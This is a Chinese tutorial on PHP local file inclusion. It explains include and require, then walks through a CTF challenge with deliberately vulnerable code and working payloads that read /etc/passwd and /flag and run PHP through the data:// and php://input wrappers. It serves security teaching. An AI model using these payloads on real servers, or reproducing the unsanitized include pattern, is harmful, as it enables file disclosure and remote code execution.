PHP LFI(Local File Inclusion,本地文件包含)
1 相关函数
1.1 include 和 require 等四个函数
函数名 | 作用 |
---|---|
include | 若包含的文件不存在产生警告,程序继续运行 |
include_once | 如果一个文件已经被包含过,则不会在包含它 |
require | 若包含文件不存在产生致命错误,程序终止运行 |
require_once | 如果一个文件已经被包含过,则不会在包含它 |
include 和 require 的区别在于文件找不到时产生 warning 还是 error,前者不影响继续执行,而后者则相反。
1.2 include 和 include_once
include_once 不会重复包含 \(\Downarrow\)
include("get_date.php");
include_once("get_date.php");
print_r("over, bye" . "<br>");
include/include_once 遇到文件不存在时继续执行 \(\Downarrow\)
// 要包含一个 get_date.php 文件,并不存在 get_date111.php
include("get_date111.php");
include_once("get_date.php");
print_r("over, bye" . "<br>");
1.3 require 和 require_once
require_once 也不会重复包含 \(\Downarrow\)
require("get_date.php");
require_once("get_date.php");
print_r("over, bye" . "<br>");
include/include_once 遇到文件不存在报错,停止执行剩余代码 \(\Downarrow\)
// 要包含一个 get_date.php 文件,并不存在 get_date111.php
require("get_date111.php");
require_once("get_date.php");
print_r("over, bye" . "<br>");
2 LFI 利用
2.1 常用的验证手段
可以通过以下参数初步验证是否存在 LFI[1]
?page=../
?page=index.html
?page=/etc/passwd
2.2 简单题-BUU LFI COURSE 1
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
尝试获取根目录下的 flag 文件,可以直接读到 flag
node4.buuoj.cn:81/?file=/flag
再获取一下 passwd,也可以看到。
2.3 结合 data://[2] 伪协议
data:// 伪协议结合 include 可以将文件包含变成命令执行
data:// 封装数据流,以传递相应格式的数据,通常可以用来执行 PHP 代码。
allow_url_fopen:on
allow_url_include :on
后台代码 \(\Downarrow\)
print_r(PHP_VERSION . "<br>");
$file = $_GET["file"];
include($file);
参数:?file=data:text/plain,<?php%20phpinfo();
返回结果 \(\Downarrow\)
2.4 结合 php://input[3] 伪协议
enctype="multipart/form-data"
时无效- POST 请求
allow_url_include
选项必须为 on
php://input 伪协议结合 file_get_contents
函数,可以读取 post 请求的原始数据。
后台代码 \(\Downarrow\)
print_r(PHP_VERSION . "<br>");
$file = $_GET["file"];
$contents = file_get_contents($file);
include($contents);
URL 参数:?file=php://input
利用 burp 添加 post 数据 \(\Downarrow\)
返回结果 \(\Downarrow\)
2.5 其他 php 伪协议[4][5]
各协议的利用条件和方法[5:1]